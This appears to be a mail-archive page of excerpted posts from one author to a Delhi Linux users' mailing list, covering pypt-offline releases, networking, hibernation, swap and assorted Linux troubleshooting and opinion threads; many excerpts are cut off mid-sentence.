It should work with any Debian derived system using apt and dpkg.
You definitely can upgrade Ubuntu at home with Debian at work.
Infact, even if you had Windows at work and Debian GNU/Hurd at Home,
it'd just work. That's what I've tried to demonstrated in the video.

But, some of the features are not available to all derivatives.
Especailly, the newly implemented Offline Bug Reports feature. I just
implemented in for Debian because that is what I use.

Cheers!

[ilugd] [ANNOUNCE] pypt-offline 0.7.0 Released

2007-08-26 Thread Ritesh Raj Sarraf
Hi,

After quite some time, I'm happy to announce a new release of pypt-offline.

Some of the quick features are:

* Offline Bug Report support - Users can now also have information about what 
packages contain bug reports. [Debian Only]
* Colored Output - Full colored output. [ Support on Windows is through 
WConio]
* Better support for threads
* Many new options added

I've now started using Mercurial along with SF's SVN which can be viewed at 
[1] and [2]

I've also put up a video at [3] explaining how pypt-offline works.

What is pypt-offline?

pypt-offline is an Offline Package Manager for distributions based on Debian. 
It can allow a user using a Debian distribution with no internet connection 
to be able to update/upgrade his box with the help of another box running 
Windows/Linux/Mac

A recent article from Ars [4] was informative enough to show how many 
countries still don't have [or is very expensive] a proper internet 
connection.

I hope pypt-offline will be helpful to people who are willing to enjoy the 
powerful features of Debian but aren't yet able to do so because of internet 
connectivity.

Feedback welcome.

[ilugd] [ANNOUNCE] pypt-offline 0.6.3

2007-01-15 Thread Ritesh Raj Sarraf
Hi,

pypt-offline 0.6.3 has been released.

Changes
==
* On Mac OS X, use non-threaded model as threads were creating issues. (And I 
don't have a mac to look into the issue)
* Implemented a threaded cumulative progress bar. Implementing a progress bar 
which could be cross-platform, threaded, for the console was a real PITA. I'm 
still not satisfied with the current progress bar but don't have much time to 
spend on it atm.

Now, with a workaround progress bar done, the primary TODO in the list is to 
add offline bug report functionality.


pypt-offline
===
pypt-offline is a utility for people using Debian (and distros based on 
debian) on a disconnected machine. It helps in upgrading a completely 
disconnected machine on a daily basis.

Thanks,

[ilugd] Dual interface routing

2006-12-29 Thread Ritesh Raj Sarraf
Hi,

I have two network interfaces on my laptop (eth1 wired + eth2 wireless) and both
are connected to the network. On eth2, to get things working, I need to run VPN
(using vpnc) which adds another tunneling interface tun0.

I'm looking for a clean way to mandate in my configuration:
a) All traffic for 10.x.x.x should go through eth1
b) As for the rest, use eth2 i.e. tun0.

Are there any utilities which can help ?

Here's my routing table when only eth1 (the wired ethernet device) is activated.

geeKISSexy:~# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.73.16.0      0.0.0.0         255.255.252.0   U     0      0        0 eth1
172.16.0.0      0.0.0.0         255.255.0.0     U     0      0        0 tap0
0.0.0.0         10.73.16.1      0.0.0.0         UG    0      0        0 eth1


And this is when eth2 (the wireless device) gets activated. After eth2 is up, it
executed vpnc from post-up.

10.73.36.0      0.0.0.0         255.255.252.0   U     0      0        0 eth2
172.16.0.0      0.0.0.0         255.255.0.0     U     0      0        0 tap0
0.0.0.0         10.73.16.1      0.0.0.0         UG    0      0        0 eth1


So currently, still everything is being routed through eth1. Surprisingly (or
maybe not) all is being routed through VPN which was fired in the post-up of
eth2

What I'm looking for is to know, what changes do I need to make into this
routing table so that:
a) All 10.x.x.x related traffic passes through eth1
b) As for the rest (and default route) passes through eth2

Thanks,
Ritesh

 Oh, the earlier thing was for joining.
 
 For the cutting job, there are several options in mencoder. One simple one is
 '-ss' that allows you to cut in terms of time or size of the file, to say
 where to start and '-endpos' to end the portion. Our friends here on the list
 can give many options, but the problem is simplicity, they are quite
 knowledgeable on these things, which I am not, and maybe you too.
 
 Read the 'mplayer' documentation, it is very simple. After you compile it, you
 will get it in the DOCS folder of the untarred archive. I don't know anything
 about these multimedia complications, but even I can do cutting and fixing
 movies. To give you a funny example: from three VCD-s of an excursion, I
 squeezed out a movies of 23 minutes: just the portions where my niece of five
 years is in the frame. And that too without knowing anything about all these.
 Just encoding the VCD-s through 'mencoder' into AVI files, and then cutting
 and fixing.

How about kmenc15 ?

Description: An advanced Qt/KDE MEncoder frontend
 Kmenc15 is an advanced MEncoder frontend, generally designed to be a
 VirtualDub replacement for Linux. It is most useful for editing and
 encoding large high quality AVIs capped from TV. It allows cutting and
 merging at exact frames, applying any MPlayer/MEncoder filter, with
 preview.
 .
 It requires MEncoder 1.0pre5 to work. I doubt it will work on any other OS
 than GNU/Linux. It needs atleast an OS that supports named pipes (FIFO's).
 .
 It can also create shell scripts instead of doing the encode itself, so
 MEncoder is not essential for it to run (although preview won't work).
 MPlayer is essential though, without it the program will not even open
 files and cannot create shell scripts without the files.
 .
 The program is not quite complete, still a few features disabled, none of
 which are horribly essential. It does not support opening MPEG's. Only
 AVIs.

If I was the designer, I wouldn't be interested in spending additional amount of
money in learning the java thing given that I'd already spent money in
learning/buying flash.

It would be better to put something into HOS only if there's an equivalent
alternative for it available in the FOSS market. Else I don't see a point in
demanding someone to stick to _only_ FOSS based offerings.

For example, it is correct to demand/ask someone to design/write stuff as per
open standards, HTML being an example.
Not for products like Flash (name others that you remember), with which a
designer is trying to be innovative in his area of expertise.
All you're doing is trying to kill his innovative ideas.

I tried contacting the folks at Supertron India for the datasheet but no reply.
So, Don't buy the above product.

If I'm late and you've already bought it, you can get minimal support for this

So not necessarily is it required to make your local.cf look huge.

[ilugd] kwalletmanager annoying problem

2006-08-24 Thread Ritesh Raj Sarraf
Hi,

I'm having this very annoying problem with kwalletmanager. I'm not sure if
others have come across this issue.

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=384038
https://bugs.kde.org/show_bug.cgi?id=132808

When you merge passwords from your other machine's kwalletmanager database to a
new machine, kwalletmanager imports the passwords but is not able to populate
them in the username/password fields in the webpages.
See the above mentioned links for details.

Has anyone come across such issue ?

[ilugd] ipw3945 in Ad-Hoc mode not working

2006-08-10 Thread Ritesh Raj Sarraf
Hi,

I recently purchased a Dell XPS M1210 notebook.
It comes with Intel Pro Wireless 3945.

I am trying to configure it under Ad-Hoc mode.

Here's my settings:

iface eth2home inet static
address 192.168.1.2
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 202.88.156.6
wireless-essid Home
wireless-mode Ad-Hoc
wireless-channel 3
wireless-rate auto

With iwconfig eth2 I notice that the device gets associated to the
proper Home network, but doing a ping to 192.168.1.1 results in:
Destination Host Unreachable.

My route -n is:
192.168.1.0 0.0.0.0 255.255.255.0   U 0  00 eth2
0.0.0.0 192.168.1.1 0.0.0.0 UG0  00 eth2
which I think is correct.

I don't think settings have any issue because the same network settings work
from Windows.

Has anyone been able to use ipw3945 in Ad-Hoc mode ?

Thanks,
Ritesh

[ilugd] [ANNOUNCE] pypt-offline 0.6.Beta Released

2006-07-10 Thread Ritesh Raj Sarraf
Hi,

I've just made a feature complete release of pypt-offline, version 0.6.Beta.

pypt-offline is a utility for people using Debian (and distros based on
Debian) on a disconnected machine. It helps in downloading the required
data from another, high bandwidth Windows/Linux/Mac box.

I believe Internet in Developing Countries is still a dream far from true.
There are internet facilities but either they are very costly for the 
general
audience or is very degraded in terms of quality.
In such a situation, enjoying the features of Debian like system has
not been possible.

With pypt-offline, I've tried an attempt to eradicate that limitation.

For details, visit:
http://pypt-offline.sf.net

I wrote this program as part of my learning and the desire to become a 
programmer.
I would be happy if people could do code review and testing and give their 
feedback.

Comments/Suggestions welcome.

Thanks,
Ritesh

 It has been a long time since I posted this link but here goes:

 http://www.catb.org/~esr/faqs/smart-questions.html - do read this
 *before* posting the questions.

 Multimedia is still a black art in linux - take for example audio ..
 which one to use- esd ? osd ? oss ? arts ? (did I miss a few ?) As
 someone who figured out how to use the mplayer just last year, I think
 the question is quite relevant and the ESR howto does not answer his
 query in any way. http://www.kuro5hin.org/story/2005/9/25/104320/439



esd, oss, arts are all sound daemons. (I don't know if osd is a sound
daemon). For example arts is lovely if you make all applications use
arts as the sound daemon and then you get the same features of Windows
into LInux Desktop.

 The above code works perfectly, the parent waits for the child to die
  then exits itself.

 [EMAIL PROTECTED]:~/junk# ./child
 forking!
 Inside child
 Inside Parent
 Calling waitpid
 Finishing if
 Child exited
 Finishing else
 [EMAIL PROTECTED]:~/junk#


 However, how do i make this wait by the parent a non-blocking wait?
 This is because while checking for has the child died, parent is
 blocked by waitpid  hence cannot do other processing.

 I've tried using WNOHANG in waitpid as waitpid(child, status,
 WNOHANG)  this is the output i get

 [EMAIL PROTECTED]:~/junk# ./child
 forking!
 Inside child
 Inside Parent
 Calling waitpid
 Child exited
 Finishing else
 [EMAIL PROTECTED]:~/junk#
 [EMAIL PROTECTED]:~/junk# Finishing if
 [EMAIL PROTECTED]:~/junk#

 Notice that parent exited before child died.

 Am i using WNOHANG in a wrong way? or in a wrong place? What can be
 other strategies i can use? I dont want to use threads as they'll be
 an overkill (all i want to do is keep parent in non-blocking state,
 while looping for child's alive status).

All these 3 are perl scripts, so now it is clear that there are the perl
scripts which are running from within apache (I've enabled mod_perl in my
apache installation) and eating up the cpu cycles.

Now let's look a little of /var/log/apache2/error.log:

The logs show that the guy uploaded the files to /tmp and hid them.

In my first mail, the logs showed a lot of sh defunct processes executed

Please suggest me what more should I look for and how to tackle this attack.

 Message delivery times vary depending on any combination of:

 - - Whether you're posting from a known address or not
 - - Sheer bloody-mindedness of the Internet
 
 The one thing delivery periods do NOT depend on is moderation,

But how much time is acceptable.
I see delays of 2-3 days for my mails and that too only on the Linux India
Help list.
I use gmane to post and read messages. And gmane does the verification for
genuine email addresses. In fact I use the sourcefoge alias to post mails
to MLs.

As far as smtp is concerned, that's configured on my laptop. It could be one
of the reasons (maybe my messages get greylisted), but from my machine the
messages leave then and there.

I hope one among you is the moderator for Linux India Help ML.

Why does it take too long for a message (at least for me) to get posted on
the Linux India Help ML ?
I've been noticing this for quite sometime. Is it a moderated list ?

 When they are shipping a default stuff anyway, what stops them from

 this is precisely been done by other laptop/desktop vendors who are
 shipping with Linux.
 

As I mentioned in my earlier post, there's no Single Point Of Contact in
any of the community driven distributions.
Supporting a fully functional Linux distribution would include much more
rigorous testing which finally would delay the product.
And given the rate with which Linux is developed, it is a tedious task.

No vendor is still giving full support for GNU/Linux in the Desktop/Laptop
market. My Compaq laptop came shipped with Mandrake 9.X which was already
an outdated distribution. There were a couple of multimedia keys and none
of them were functioning.
So is Compaq evil because even though they shipped a Fully Functioning Linux
Distribution they had no drivers included for the Modem, Multimedia Keys,
WiFi Card et cetera ?

  Hello,
 
 Does anybody know the Solaris 10 equivalent (ipf) of the Linux iptables
 QUEUE target .. i am specifically looking for something in IPF. IPFW
 has something called divert which does similar stuff.
 
 
 In detail what i am trying to do here is move an application from
 Linux to Solaris:
 
 The iptables functional replacement I am looking for on Solaris 10 is
 the QUEUE (to userland) behavior.  The appication's Layer 7 proxies
 all operate as daemons using sockets of type SOCK_STREAM.  They write
 packets back to the userland packet engine on the loopback interface.
 The packet engine does Layer 2-4 work on them (address translation,
 loopback to real world external IP addresses, etc.); then forwards the
 packets out the physical interfaces using a linux specific socket
 type, PF_PACKET.
 
 I believe that the Solaris dlpi interface can adequately help me with
 the packet handling along the nature of PF_PACKET.  The difficult area
 is the interception of the packets from the proxies into the packet
 engine.  When the proxies do the STREAM writes, they are sending
 packets to a non-existent listner on the loopback.  The iptables
 QUEUE target on Linux lets me snatch the proxies' stream output as
 packets from the protocol stack, stopping their travel back up the
 stack to the non-existent listner.  This accomplishes two requisite
 goals: 1) performs the conversion from streams to packets; and 2)
 prevents the protocol stack from sending a RESET to the proxies.
 
 The capability in the above paragraph is what we need to duplicate on
 Solaris
 
 
 
 Can anybody help ?

Now you want it fully configured, do it yourself. If you can't, hire me.

Even when you buy a notebook with Microsoft loaded, if there are issues with

 Sorry no, it doesn't help us. If the machine is shipped effectively
 without an OS, they should say so clearly. Anything else is called
 deceptive advertising.
 
 Consumer perspective: Either you are getting a ready-to-use system, or you
 are not. If you were told it came preinstalled with windows, but it dumped
 you to an 8bit 640x480 VGA screen without drivers for any of the hardware,
 are you going to go oh well, that served me right, I really should have
 expected that I'll need to hire an MCA to set this up for me? I don't
 think so.
 
 Linux/Open source developer perspective: They are misrepresenting the
 software we are providing to the world, and we have a right to make a
 noise about it. The value of our brands and trademarks need to be
 protected.
 
 -Taj.
 

That's a valid demand but not an easy task to do. Besides individual choices
a company also has to make sure that its product lives and succeeds in the
market. Free Software gives choice, which is good but not uniform.
Something which is preferred by you isn't at all preferred by me. When I
bought my laptop, it came shipped with Mandrake Linux, which I'm sure you
like, but wasn't my preferred choice. So what do I do, say that the company
is evil that it doesn't provide me the freedom to choose the distribution
of my choice. No, certainly not.
I really get surprised when people start shouting that Red Hat is evil
because it changed Red Hat to Red Hat Enterprise Linux.
Just by selling Documentation you can't survive. Engineering requires
resources and money.

GNU/Linux is still not a single entity. Any vendor prefers a SPOC to work
with. That's one reason why Microsoft succeeded. None of the Unixes in the
early 90's had a common standard. So if a vendor was to support Unix, he
had to support multiple variants and work with multiple vendors. And that's
the same case we're facing today again. If we really need to fix such
issues, we need to fast and properly work on standardization (stuffs
like LSB 3.0, LCC et cetera)

BTW, whatever distribution ACER shipped with its laptop, does it cover
support ? If yes, bug them.

 Not necessarily true.  If you want to have all your processes to stay in
 memory, for example when you are running a web+database server, you can
 leave out swap to prevent the OS from ever swapping out your processes -
 even if they have been inactive for a long time.  On a desktop, you
 definately want some swap to prevent the dreaded OOM killer from
 visiting you and killing off some random process
 
 

If OOM killer kills off random processes, I'd say it to be the most shitty
piece of code.

Most of the packages shipped with baby distributions like Ubuntu, Mepis,

What you can try as of now is execute the daemon as root. If it runs
successfully then you've sorted out one problem. Then find out how to
escalate privileges to a normal user so that it could bind to reserved

Thanks Ajay.

So here I am with being able to solve the problem.

Following is the procedure:
fdisk /dev/hda
x - Enter to expert mode
f - Fix the partition order.
w - Commit changes.

Modify the /etc/fstab and /boot/grub/menu.lst files accordingly.
I'm done and everything is shown perfect.

Now my questions,
I did all this to solve the occasional hibernation problem that I faced
which I suspected to be because of less swap space (My physical RAM is 768
and my swap was 512).

How many read/write heads does an IDE disk have (Eg a 30GB IDE Disk) ?
Does having multiple swaps on one single disk enhance/degrade the
performance ?
Should I merge the two swaps to one single swap ?

TIA,

[ilugd] swsusp swap space limitation

2005-03-19 Thread Ritesh Raj Sarraf
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Hello Everybody,

Is there a rule on the amount of swap space while trying to do a
hibernate ?

Here's my problem,

I have a Compaq Presario 2203 Notebook with kernel 2.6.11 with Debian
installed. Software Suspend (Version 1) works fine for me.
I have 768mb of RAM where as my SWAP partition is 512mb.
When I reboot my computer and suspend, it works but at the next attempt it
doesn't suspend. Is it because of the swap space constraint.

This is what I've found from the Linux-Laptop howto:
- 
Software Suspend

Software suspend enables the possibilty of suspendig machine. It doesn't
need APM. You may suspend your machine by either pressing Sysrq-d or with
'swsusp' or 'shutdown -z (patch for sysvinit needed). It creates an image
which is saved in your active swaps. By the next booting the kernel detects
the saved image, restores the memory from it and then it continues to run
as before you've suspended. If you don't want the previous state to
continue use the 'noresume' kernel option.
- 

So from the above paragraph what I understand is that it creates an image of
my system, present in the RAM, and saves it to the swap partition.

If that's right,damn! I can't repartition the harddrive now because I have
lots of data. What I can do is, split one of the partition to add another
swap partition (say 2gb) to the system.

My present swap partition is /dev/hda5. I can spare another partition
of /dev/hda8. My swsusp config in the kernel is hardcoded to /dev/hda5.

But as mentioned in the above documentation, Will it automatically save the
image across the active swaps (which would be two swaps in my case) ?

But then,
AFAIK, the kernel accepts only one partition as the argument. So which
partition will it read ?
Are there any other suggestions?

TIA,

 Well possible problem which i think is that the system

  What makes you say that RH 2.1 is bad on performance with SATA?
  I haven't found any such performance issues.

 In my experience the installation process which usually takes 25-45
 minutes on an IBM MPro with SATA disks on any other version takes
 about 1 hour and 30 min with RHEL2.1. Writing 1G file takes more then
 5 minutes and it has load average of about 4-5 during the process.
 Disk write performance is 3.5 M/s instead of 55M/s

 Download bonnie++ from http://sourceforge.net/projects/bonnie/ and
 find the disk performance.

 The above is what has been observed with RHEL2.1 (with any Update) on IBMs.

 I just shared my experience; you probably have a different model,
 different kernel etc..


Yes, I've used SMP kernels on my testing machines. Which SATA disks are you 
using ?? Maybe they are the issue ??

 In this context free means you don't have to pay a single penny.

I thought free in terms of freedom.

 http://download.fedora.redhat.com/pub/fedora/linux/core/3/i386/iso/

 I couldn't find the link for RH7.x, 8.0 or 9.0, probably because
 redhat has declared EOL for them.


You still need to pay the bandwidth resource charges.

 However Redhat's enterprise versions namely: RHEL2.1, 3.0 and 4.0 are
 license based. You need an RHN login account in order to download the
 ISOs.


You still can download the sources or go for White Box Linux.

If I'm not wrong you're using Mandrake. I've never used Mandrake but IIGC the 
last script to be executed in it is rc.local. But as you mentioned you've not 
messed with any init scripts at all.

So as you stated your problem, once gdm runs you're able to access the login 
screen. Check the gdm init script. It should be in /etc/init.d/gdm. See if 
it has any abnormal behavioral which is not letting the login program to 
spawn.

As for your question on last init script. I'll assume that you're booting into 
runlevel 5. See the last/highest numbered script with 'S' prefixed. Something 
like S99gdm. The one is the last script to be executed with the exception of 
the rc.local script.

 Hi everyone,

 I am facing a very silly problem with konqueror.. Sometimes (for eg.
 when an html file is named README.html), it insists on opening perfectly

 them and then open them with konqueror which is clumsy to say the least
 and does not work in all cases. Firefox is able to display all such
 files without problems.

 Secondly while konqueror opens some text files with kwrite component
 (which I do have installed), for others it insists on using the VIM
 module (which I don't have installed). Then I have to open kwrite and
 then open the file from it.

 While these things are only minor irritents, they do interrupt the
 workflow.. Is there a way to fix this behaviour of konqueror? I'm using
 Mandrake 10.1.

[ilugd] UML

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Hello Everybody,

 I've installed UML (User Mode Linux) and am able to use it. I can boot into
it. Use it to access the net using a virtual network interface. The main
machine allows the request to be forwarded and also masquerades. Till here
I'm done.

How can I access the partitions of my real system from the UML ?
I want to download the packages required for my UML os from some other
 machine = bring it back to my machine = then boot into UML and tell it,
 where on the original machine, the packages are located.

Any Ideas ??

AFAIK aacrarid driver should do the job. It's available in the kernels so 
you don't need to do an extra patch. Just load the module.

i386 -- Generic for all Intel architecture.
i586 -- Pentium II/Pro
i686 -- Pentium III and above

It's better to use specific support for much newer kernel like Pentium Mobile 
because they too term up as i686.
Look into the kernel source config. They explain it better.

If it's swap that's not mounted, yes `mount` doesn't show swap mounted. For

event always made us remember to do our work perfect. Just term Kapil as a 
teacher.

A System Administrator is one upon whom the whole IT back bone of the business

 It's true that you got to pay for the errors, 
 but my dear friend this not the end of the world. You mentioned about
 perfection even God wasn't perfect in evolving a perfect human being.

I don't know much about what God did. But what I indeed do know is that, we 
humans are the master-piece on this planet. One of the greatest creations.
Perfection is a self grooming process. It'll vary from person to person as to 
how much keen he is towards his perfection level.

 Otherwise the world would not have been in a state of chaos. I would like
 to quote something on being a teacher which say always be a student that
 motivates you to learn more, the day you are a teacher your skill is
 lost. Let's give the poor chap a break he has more important things to do
 in his academic world.


I'm not sure and also don't agree to your statement that the day you are a 
teacher you skill is lost. I don't think once being a teacher would stunt 
your skills. You are part of the list. You suggest/teach newbies with many 
replies. That means you're a teacher too. Has that stunted your skills ??

As far as the IIT-ian is concerned ( Don't call him a poor chap), no personal 
grievances. The job poster would judge for the break for him.

Is is really so ? Just because you get an IIT degree, does it 
guarantee/promise better and great jobs ??

 These days one does not need a technical degree to be in sys admin.. and
 there are abundant of sys admin ( non-technical back ground )  in India.


I think you're wrong here completely.
Take my live example here.
I've been into GNU and Linux for the past 5 years. I'm able to now grade 
myself into Power User category too.
I've cleared interviews from Wipro, Dell and many other companies. Got offer 
letters concerning the package plan.
And then when I tell them that my academics are bad, people get stunted. 
Before I reveal this they say that I'm technically sound for the role of job 
they have and once I disclose about my degree they say they've got many 
company norms that don't allow undergraduates blah blah..

My answer to them, Fine.. Go, find a graduate with better skills.

I did my S.L.C (60%) from Nepal. I did my +2 (40%) from Nepal. I did my B.Sc 
(IT) Distance Education Degree from Delhi from Manipal University (Final 
Semester Result awaited).

Still people, organizations prefer degrees over technical skills. I'm not sure 
wether they should or shouldn't.

This is one good reason for me to have been jobless since 1 year.

So my conclusion up till now says:
If you need a job, Go get a degree. No matter where you get from, how you get 
from.

 Hi All,
 I did some searching on the net in this regard and came to the

 (1) Currently there is no support for AC'97 Modems on Linux. This

There is support for it. But thats partially paid. Getting the modem run at 
14000bps is free where as at 56000bps is paid. You need a license.
Look at http://www.linuxant.com

 (2) OSS driver for this modem is under development. However it is in a
 Pre-Alpha stage. That means we all need to carry forward this work to
 get our modems working. Check out
 http://www.compuvative.com/ac97-modem/
 for the same.

There are claims that the Alsa drivers do work. Though I've not got any 
success.


 Meanwhile fo net we will have to do with a Dual Booting WinXP pre

No, my notebook was preloaded with Mandrake Linux only.

 In  my views , many swap partitions on diffrent harddisks(if your
 machine has more than one harddisk) can increase the performance of your
 machine,

Yes, In my opinion it does give a performance boost.

 But what would be better option , single large swap partition  or many
 small swap partitions (approx. 256 MB) in a hardisk ?

 correct me if i am wrong.

AFAIK swap on multiple partitions and even on multiple disks (if you've got 
more that one) can bring better performance. My way of thinking about 
swapping is paging idle processes in the core onto the disk.

Take an example of RAID.
RAID - 4  5, which have redundancy features are said better. Why ?
Read - Write and Disk IO is splitted onto multiple disks because data resides 
on multiple disks.
In the same way if swapping is done on multiple partitions on multiple disks 
the disk read-write heads will get lesser overhead and thus will boost 
performance.

Please don't question me for any thing technical in it. It's just my personal 
thought from past experiences.

I've got a driver disk from HP which has drivers for the modem and Wlan in it
but they refer me to www.linuxant.com for further license.

Is my modem fully supported and functional in the kernel 2.6 ?
I've not been able to use the modem now. I'd be thankful for any
documentation.

I'm using Debian Sarge with kernel 2.6.8 on it.

[ilugd] [OffTopic] Domain ownership details

2004-10-05 Thread Ritesh Raj Sarraf
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hello all,
I wanted a little understanding of how domain ownership works
here in India. I've got a domain named researchut.com registered
throught one of the Delhi's local domain resellers, Economicalhost.
The international registrar is ENOM.
My concern is, say if tomorrow Economicalhost goes bankrupt how
do I reclaim my domain ?
Yes, I know. I do have the passwords. But once somehow the
passwords had got changed and I called up the folks at
Economicalhost and they got it changed. Amazing! Where is
privacy ? How do I then call myself the owner when
Economicalhost can have access for modifications ?
I verified my domain details at ENOM and found that all
authority for my domain was given to the reseller
Economicalhost.
Is this the way domain ownership works ??

Emacs is not an editor.  It is an OS. It is a religion

Warning: taking the Church of Emacs (or any church) too seriously may be 
hazardous to your health.

On the other hand, see what vi is
VI is a roman number
vi is Venom Incarnate
On a serious note, if you would like to learn how to use Emacs, check out the 
excellent tutorial that comes with emacs (in the menu item goto help  emacs

No thank you. I'm happier with modes in vi. They make me faster.

I don't understand, how does RH then term Fedora as a community driven

I feel I had taken the right decision 10 months ago to go for Debian :-)

I am facing some trouble while upgrading apache (httpd-2.0.40-21).
This version was the default packaged with Redhat linux 9, it works

update this to a version greater than 2.0.47 as my JRun application
server's connector requires it. While trying upgrading it to
2.0.50(latest httpd from apache.org) i got multiple dependency errors
and even after installing with force and ignoring few dependencies i
was unable to get it up. Then from some site i got rpm of
httpd-2.0.47, as i read somewhere that RHL-9.0 could support it. Still
got the same result so ultimately had to rollback to httpd-2.0.40-21
from cd.
Try the src rpms from them. They might be providing it too. And then
just rebuild it.. Hopefully the dependency issues will get slashed.
Dude, if you want to stay with the latest, stick to source. There is no way
that a non-distribution RPM will get you solve all your dep problem in your
dist. Take a look at DAG or ATRpms repositories though.
- Sandip

I think src rpms might be of some help.
